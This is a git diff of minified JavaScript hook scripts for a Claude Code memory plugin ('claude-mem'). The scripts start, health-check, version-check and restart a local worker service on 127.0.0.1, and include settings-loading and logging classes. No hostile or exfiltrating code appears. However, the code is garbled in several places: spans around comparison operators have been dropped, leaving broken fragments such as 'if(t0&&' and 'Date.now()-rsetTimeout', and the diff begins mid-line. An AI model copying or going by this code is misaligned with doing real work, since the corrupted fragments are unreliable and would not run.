`,a+=`2. Run: claude-mem restart `,a+="3. Restart Claude Code",e&&(a+=` -If that doesn't work, try: /troubleshoot`),o&&(a=`Worker Error: ${o} +If that doesn't work, try: /troubleshoot`),n&&(a=`Worker Error: ${n} -${a}`),a}var X=C.join(Ot(),".claude","plugins","marketplaces","thedotmack"),J=R(A.HEALTH_CHECK),D=null;function d(){if(D!==null)return D;let n=C.join(g.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=g.loadFromFile(n);return D=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),D}async function v(){try{let n=d();return(await fetch(`http://127.0.0.1:${n}/api/readiness`,{signal:AbortSignal.timeout(J)})).ok}catch(n){return u.debug("SYSTEM","Worker readiness check failed",{error:n instanceof Error?n.message:String(n),errorType:n?.constructor?.name}),!1}}function Mt(){try{let n=C.join(X,"package.json");return JSON.parse(Dt(n,"utf-8")).version}catch(n){return u.debug("SYSTEM","Failed to read plugin version",{error:n instanceof Error?n.message:String(n)}),null}}async function Pt(){try{let n=d(),t=await fetch(`http://127.0.0.1:${n}/api/version`,{signal:AbortSignal.timeout(J)});return t.ok?(await t.json()).version:null}catch(n){return u.debug("SYSTEM","Failed to get worker version",{error:n instanceof Error?n.message:String(n)}),null}}async function Y(){let n=Mt(),t=await Pt();!n||!t||n!==t&&(u.info("SYSTEM","Worker version mismatch detected - restarting worker",{pluginVersion:n,workerVersion:t}),await new Promise(e=>setTimeout(e,R(A.PRE_RESTART_SETTLE_DELAY))),await O.restart(d()),await new Promise(e=>setTimeout(e,1e3)),await v()||u.error("SYSTEM","Worker failed to restart after version mismatch",{expectedVersion:n,runningVersion:t,port:d()}))}async function bt(){let n=g.get("CLAUDE_MEM_DATA_DIR"),t=C.join(n,".pm2-migrated");if(Ct(n,{recursive:!0}),!At(t))try{wt("pm2",["delete","claude-mem-worker"],{stdio:"ignore"}),G(t,new Date().toISOString(),"utf-8"),u.debug("SYSTEM","PM2 cleanup completed and marked")}catch{G(t,new Date().toISOString(),"utf-8")}let e=d(),r=await O.start(e);return r.success||u.error("SYSTEM","Failed to start worker",{platform:process.platform,port:e,error:r.error,marketplaceRoot:X}),r.success}async function q(){if(await v()){await Y();return}if(!await bt()){let e=d();throw new Error(S({port:e,customPrefix:`Worker service failed to start on port ${e}.`}))}for(let e=0;e<5;e++)if(await new Promise(r=>setTimeout(r,500)),await v()){await Y();return}let t=d();throw u.error("SYSTEM","Worker started but not responding to health checks"),new Error(S({port:t,customPrefix:`Worker service started but is not responding on port ${t}.`}))}function $(n){throw n.cause?.code==="ECONNREFUSED"||n.code==="ConnectionRefused"||n.name==="TimeoutError"||n.message?.includes("fetch failed")||n.message?.includes("Unable to connect")?new Error(S()):n}function N(n,t,e){u.error("HOOK",`${e.operation} failed`,{status:n.status,...e},t);let r=e.toolName?`Failed ${e.operation} for ${e.toolName}: ${S()}`:`${e.operation} failed: ${S()}`;throw new Error(r)}import Rt from"path";function z(n){if(!n||n.trim()==="")return u.warn("PROJECT_NAME","Empty cwd provided, using fallback",{cwd:n}),"unknown-project";let t=Rt.basename(n);if(t===""){if(process.platform==="win32"){let r=n.match(/^([A-Z]):\\/i);if(r){let s=`drive-${r[1].toUpperCase()}`;return u.info("PROJECT_NAME","Drive root detected",{cwd:n,projectName:s}),s}}return u.warn("PROJECT_NAME","Root directory detected, using fallback",{cwd:n}),"unknown-project"}return t}async function Lt(n){if(await q(),!n)throw new Error("newHook requires input");let{session_id:t,cwd:e,prompt:r}=n,o=z(e),s=d(),i,a;try{let c=await fetch(`http://127.0.0.1:${s}/api/sessions/init`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({claudeSessionId:t,project:o,prompt:r}),signal:AbortSignal.timeout(5e3)});if(!c.ok){let E=await c.text();N(c,E,{hookName:"new",operation:"Session initialization",project:o,port:s})}let p=await c.json();if(i=p.sessionDbId,a=p.promptNumber,p.skipped&&p.reason==="private"){console.error(`[new-hook] Session ${i}, prompt #${a} (fully private - skipped)`),console.log(M);return}console.error(`[new-hook] Session ${i}, prompt #${a}`)}catch(c){$(c)}let l=r.startsWith("/")?r.substring(1):r;try{let c=await fetch(`http://127.0.0.1:${s}/sessions/${i}/init`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({userPrompt:l,promptNumber:a}),signal:AbortSignal.timeout(5e3)});if(!c.ok){let p=await c.text();N(c,p,{hookName:"new",operation:"SDK agent start",project:o,port:s,sessionId:String(i)})}}catch(c){$(c)}console.log(M)}var U="";Q.on("data",n=>U+=n);Q.on("end",async()=>{let n=U?JSON.parse(U):void 0;await Lt(n)}); +${a}`),a}var B=A.join(Et(),".claude","plugins","marketplaces","thedotmack"),V=L(w.HEALTH_CHECK),D=null;function E(){if(D!==null)return D;let o=A.join(p.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=p.loadFromFile(o);return D=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),D}async function v(){let o=E();return(await fetch(`http://127.0.0.1:${o}/api/readiness`,{signal:AbortSignal.timeout(V)})).ok}function wt(){let o=A.join(B,"package.json");return JSON.parse(Tt(o,"utf-8")).version}async function Dt(){let o=E(),t=await fetch(`http://127.0.0.1:${o}/api/version`,{signal:AbortSignal.timeout(V)});if(!t.ok)throw new Error(`Failed to get worker version: ${t.status}`);return(await t.json()).version}async function G(){let o=wt(),t=await Dt();if(o!==t&&(l.info("SYSTEM","Worker version mismatch detected - restarting worker",{pluginVersion:o,workerVersion:t}),await new Promise(e=>setTimeout(e,L(w.PRE_RESTART_SETTLE_DELAY))),await T.restart(E()),await new Promise(e=>setTimeout(e,1e3)),!await v()))throw new Error(`Worker failed to restart after version mismatch. Expected ${o}, was running ${t}`)}async function At(){let o=p.get("CLAUDE_MEM_DATA_DIR"),t=A.join(o,".pm2-migrated");Ot(o,{recursive:!0}),_t(t)||(St("pm2",["delete","claude-mem-worker"],{stdio:"ignore"}),ht(t,new Date().toISOString(),"utf-8"),l.debug("SYSTEM","PM2 cleanup completed and marked"));let e=E(),r=await T.start(e);return r.success||l.error("SYSTEM","Failed to start worker",{platform:process.platform,port:e,error:r.error,marketplaceRoot:B}),r.success}async function X(){let o=!1;try{o=await v()}catch{o=!1}if(o){await G();return}if(!await At()){let r=E();throw new Error(I({port:r,customPrefix:`Worker service failed to start on port ${r}.`}))}for(let r=0;r<5;r++){await new Promise(n=>setTimeout(n,500));try{if(await v()){await G();return}}catch{}}let e=E();throw l.error("SYSTEM","Worker started but not responding to health checks"),new Error(I({port:e,customPrefix:`Worker service started but is not responding on port ${e}.`}))}import Ct from"path";function Y(o){if(!o||o.trim()==="")return l.warn("PROJECT_NAME","Empty cwd provided, using fallback",{cwd:o}),"unknown-project";let t=Ct.basename(o);if(t===""){if(process.platform==="win32"){let r=o.match(/^([A-Z]):\\/i);if(r){let s=`drive-${r[1].toUpperCase()}`;return l.info("PROJECT_NAME","Drive root detected",{cwd:o,projectName:s}),s}}return l.warn("PROJECT_NAME","Root directory detected, using fallback",{cwd:o}),"unknown-project"}return t}async function Mt(o){if(await X(),!o)throw new Error("newHook requires input");let{session_id:t,cwd:e,prompt:r}=o,n=Y(e),s=E(),i=await fetch(`http://127.0.0.1:${s}/api/sessions/init`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({claudeSessionId:t,project:n,prompt:r}),signal:AbortSignal.timeout(5e3)});if(!i.ok)throw new Error(`Session initialization failed: ${i.status}`);let a=await i.json(),c=a.sessionDbId,u=a.promptNumber;if(a.skipped&&a.reason==="private"){console.error(`[new-hook] Session ${c}, prompt #${u} (fully private - skipped)`),console.log(C);return}console.error(`[new-hook] Session ${c}, prompt #${u}`);let d=r.startsWith("/")?r.substring(1):r,m=await fetch(`http://127.0.0.1:${s}/sessions/${c}/init`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({userPrompt:d,promptNumber:u}),signal:AbortSignal.timeout(5e3)});if(!m.ok)throw new Error(`SDK agent start failed: ${m.status}`);console.log(C)}var $="";J.on("data",o=>$+=o);J.on("end",async()=>{let o;try{o=$?JSON.parse($):void 0}catch(t){throw new Error(`Failed to parse hook input: ${t instanceof Error?t.message:String(t)}`)}await Mt(o)}); diff --git a/plugin/scripts/save-hook.js b/plugin/scripts/save-hook.js index 2bf1bf63..99d3a9d9 100755 --- a/plugin/scripts/save-hook.js +++ b/plugin/scripts/save-hook.js @@ -1,8 +1,8 @@ #!/usr/bin/env bun -import{stdin as z}from"process";var U=JSON.stringify({continue:!0,suppressOutput:!0});import{readFileSync as rt,writeFileSync as nt,existsSync as ot}from"fs";import{join as st}from"path";import{homedir as it}from"os";var tt=["bugfix","feature","refactor","discovery","decision","change"],et=["how-it-works","why-it-exists","what-changed","problem-solution","gotcha","pattern","trade-off"];var N=tt.join(","),x=et.join(",");var l=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:st(it(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:N,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:x,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(t){return this.DEFAULTS[t]}static getInt(t){let e=this.get(t);return parseInt(e,10)}static getBool(t){return this.get(t)==="true"}static loadFromFile(t){try{if(!ot(t))return this.getAllDefaults();let e=rt(t,"utf-8"),r=JSON.parse(e),o=r;if(r.env&&typeof r.env=="object"){o=r.env;try{nt(t,JSON.stringify(o,null,2),"utf-8"),u.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:t})}catch(i){u.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:t},i)}}let s={...this.DEFAULTS};for(let i of Object.keys(this.DEFAULTS))o[i]!==void 0&&(s[i]=o[i]);return s}catch(e){return u.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:t},e),this.getAllDefaults()}}};var M=(s=>(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(M||{}),P=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=l.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=M[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} -${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;try{let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}catch{return t}}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),o=String(t.getDate()).padStart(2,"0"),s=String(t.getHours()).padStart(2,"0"),i=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),c=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${o} ${s}:${i}:${a}.${c}`}log(t,e,r,o,s){if(t0&&(S=` {${Object.entries($).map(([Q,Z])=>`${Q}=${Z}`).join(", ")}}`)}let _=`[${i}] [${a}] [${c}] ${p}${r}${S}${E}`;t===3?console.error(_):console.log(_)}debug(t,e,r,o){this.log(0,t,e,r,o)}info(t,e,r,o){this.log(1,t,e,r,o)}warn(t,e,r,o){this.log(2,t,e,r,o)}error(t,e,r,o){this.log(3,t,e,r,o)}dataIn(t,e,r,o){this.info(t,`\u2192 ${e}`,r,o)}dataOut(t,e,r,o){this.info(t,`\u2190 ${e}`,r,o)}success(t,e,r,o){this.info(t,`\u2713 ${e}`,r,o)}failure(t,e,r,o){this.error(t,`\u2717 ${e}`,r,o)}timing(t,e,r,o){this.info(t,`\u23F1 ${e}`,o,{duration:`${r}ms`})}happyPathError(t,e,r,o,s=""){let p=((new Error().stack||"").split(` -`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),E=p?`${p[1].split("/").pop()}:${p[2]}`:"unknown",S={...r,location:E};return this.warn(t,`[HAPPY-PATH] ${e}`,S,o),s}},u=new P;import C from"path";import{homedir as ht}from"os";import{spawnSync as Ot}from"child_process";import{existsSync as At,writeFileSync as V,readFileSync as wt,mkdirSync as Dt}from"fs";var T={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function L(n){return process.platform==="win32"?Math.round(n*T.WINDOWS_MULTIPLIER):n}import{existsSync as y,readFileSync as ft,writeFileSync as mt,unlinkSync as dt,mkdirSync as K}from"fs";import{createWriteStream as Et}from"fs";import{join as O}from"path";import{spawn as St,spawnSync as _t}from"child_process";import{homedir as Tt}from"os";import{join as f,dirname as at,basename as Vt}from"path";import{homedir as ct}from"os";import{fileURLToPath as ut}from"url";function lt(){return typeof __dirname<"u"?__dirname:at(ut(import.meta.url))}var Jt=lt(),g=l.get("CLAUDE_MEM_DATA_DIR"),b=process.env.CLAUDE_CONFIG_DIR||f(ct(),".claude"),qt=f(g,"archives"),zt=f(g,"logs"),Qt=f(g,"trash"),Zt=f(g,"backups"),te=f(g,"settings.json"),ee=f(g,"claude-mem.db"),re=f(g,"vector-db"),ne=f(b,"settings.json"),oe=f(b,"commands"),se=f(b,"CLAUDE.md");import{spawnSync as pt}from"child_process";import{existsSync as gt}from"fs";import{join as W}from"path";import{homedir as F}from"os";function R(){let n=process.platform==="win32";try{if(pt("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=n?[W(F(),".bun","bin","bun.exe")]:[W(F(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(gt(e))return e;return null}function H(){return R()!==null}var h=O(g,"worker.pid"),B=O(g,"logs"),k=O(Tt(),".claude","plugins","marketplaces","thedotmack"),A=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};K(B,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=O(k,"plugin","scripts",e);if(!y(r))return{success:!1,error:`Worker script not found at ${r}`};let o=this.getLogFilePath();return this.startWithBun(r,o,t)}static isBunAvailable(){return H()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let o=R();if(!o)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let i=this.escapePowerShellString(o),a=this.escapePowerShellString(t),c=this.escapePowerShellString(k),p=this.escapePowerShellString(e),S=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${i}' -ArgumentList '${a}' -WorkingDirectory '${c}' -WindowStyle Hidden -RedirectStandardOutput '${p}' -RedirectStandardError '${p}.err' -PassThru | Select-Object -ExpandProperty Id`,_=_t("powershell",["-Command",S],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(_.status!==0)return{success:!1,error:`PowerShell spawn failed: ${_.stderr?.toString()||"unknown error"}`};let w=parseInt(_.stdout.toString().trim(),10);return isNaN(w)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:w,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(w,r))}else{let i=St(o,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:k}),a=Et(e,{flags:"a"});return i.stdout?.pipe(a),i.stderr?.pipe(a),i.unref(),i.pid?(this.writePidFile({pid:i.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(i.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(s){return{success:!1,error:s instanceof Error?s.message:String(s)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:s}=await import("child_process");try{s(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=O(g,"settings.json"),e=l.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(l.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(o,100))}catch{return!0}return!1}static getPidInfo(){try{if(!y(h))return null;let t=ft(h,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:h}),null}}static writePidFile(t){K(g,{recursive:!0}),mt(h,JSON.stringify(t,null,2))}static removePidFile(){try{y(h)&&dt(h)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let o=Date.now(),s=process.platform==="win32",i=s?r*2:r;for(;Date.now()-o(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(M||{}),C=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=l.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=M[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} +${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),n=String(t.getDate()).padStart(2,"0"),s=String(t.getHours()).padStart(2,"0"),i=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),c=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${n} ${s}:${i}:${a}.${c}`}log(t,e,r,n,s){if(t0&&(E=` {${Object.entries(U).map(([J,q])=>`${J}=${q}`).join(", ")}}`)}let _=`[${i}] [${a}] [${c}] ${f}${r}${E}${d}`;t===3?console.error(_):console.log(_)}debug(t,e,r,n){this.log(0,t,e,r,n)}info(t,e,r,n){this.log(1,t,e,r,n)}warn(t,e,r,n){this.log(2,t,e,r,n)}error(t,e,r,n){this.log(3,t,e,r,n)}dataIn(t,e,r,n){this.info(t,`\u2192 ${e}`,r,n)}dataOut(t,e,r,n){this.info(t,`\u2190 ${e}`,r,n)}success(t,e,r,n){this.info(t,`\u2713 ${e}`,r,n)}failure(t,e,r,n){this.error(t,`\u2717 ${e}`,r,n)}timing(t,e,r,n){this.info(t,`\u23F1 ${e}`,n,{duration:`${r}ms`})}happyPathError(t,e,r,n,s=""){let f=((new Error().stack||"").split(` +`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),d=f?`${f[1].split("/").pop()}:${f[2]}`:"unknown",E={...r,location:d};return this.warn(t,`[HAPPY-PATH] ${e}`,E,n),s}},u=new C;import A from"path";import{homedir as dt}from"os";import{spawnSync as Et}from"child_process";import{existsSync as _t,writeFileSync as St,readFileSync as ht,mkdirSync as Tt}from"fs";var S={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function L(o){return process.platform==="win32"?Math.round(o*S.WINDOWS_MULTIPLIER):o}import{existsSync as R,readFileSync as ct,writeFileSync as ut,unlinkSync as lt,mkdirSync as K}from"fs";import{createWriteStream as pt}from"fs";import{join as T}from"path";import{spawn as gt,spawnSync as ft}from"child_process";import{homedir as mt}from"os";import{join as g,dirname as rt,basename as Wt}from"path";import{homedir as nt}from"os";import{fileURLToPath as st}from"url";function ot(){return typeof __dirname<"u"?__dirname:rt(st(import.meta.url))}var Bt=ot(),p=l.get("CLAUDE_MEM_DATA_DIR"),P=process.env.CLAUDE_CONFIG_DIR||g(nt(),".claude"),Vt=g(p,"archives"),Xt=g(p,"logs"),Yt=g(p,"trash"),Jt=g(p,"backups"),qt=g(p,"modes"),zt=g(p,"settings.json"),Qt=g(p,"claude-mem.db"),Zt=g(p,"vector-db"),te=g(P,"settings.json"),ee=g(P,"commands"),re=g(P,"CLAUDE.md");import{spawnSync as it}from"child_process";import{existsSync as at}from"fs";import{join as F}from"path";import{homedir as W}from"os";function b(){let o=process.platform==="win32";try{if(it("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=o?[F(W(),".bun","bin","bun.exe")]:[F(W(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(at(e))return e;return null}function H(){return b()!==null}var h=T(p,"worker.pid"),G=T(p,"logs"),y=T(mt(),".claude","plugins","marketplaces","thedotmack"),O=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};K(G,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=T(y,"plugin","scripts",e);if(!R(r))return{success:!1,error:`Worker script not found at ${r}`};let n=this.getLogFilePath();return this.startWithBun(r,n,t)}static isBunAvailable(){return H()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let n=b();if(!n)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let i=this.escapePowerShellString(n),a=this.escapePowerShellString(t),c=this.escapePowerShellString(y),f=this.escapePowerShellString(e),E=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${i}' -ArgumentList '${a}' -WorkingDirectory '${c}' -WindowStyle Hidden -RedirectStandardOutput '${f}' -RedirectStandardError '${f}.err' -PassThru | Select-Object -ExpandProperty Id`,_=ft("powershell",["-Command",E],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(_.status!==0)return{success:!1,error:`PowerShell spawn failed: ${_.stderr?.toString()||"unknown error"}`};let w=parseInt(_.stdout.toString().trim(),10);return isNaN(w)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:w,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(w,r))}else{let i=gt(n,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:y}),a=pt(e,{flags:"a"});return i.stdout?.pipe(a),i.stderr?.pipe(a),i.unref(),i.pid?(this.writePidFile({pid:i.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(i.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(s){return{success:!1,error:s instanceof Error?s.message:String(s)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:s}=await import("child_process");try{s(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=T(p,"settings.json"),e=l.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(l.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}catch{return!0}return!1}static getPidInfo(){try{if(!R(h))return null;let t=ct(h,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:h}),null}}static writePidFile(t){K(p,{recursive:!0}),ut(h,JSON.stringify(t,null,2))}static removePidFile(){try{R(h)&<(h)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let n=Date.now(),s=process.platform==="win32",i=s?r*2:r;for(;Date.now()-nsetTimeout(o,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return O(B,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),o=Date.now()-e,s=Math.floor(o/1e3),i=Math.floor(s/60),a=Math.floor(i/60),c=Math.floor(a/24);return c>0?`${c}d ${a%24}h`:a>0?`${a}h ${i%60}m`:i>0?`${i}m ${s%60}s`:`${s}s`}};function 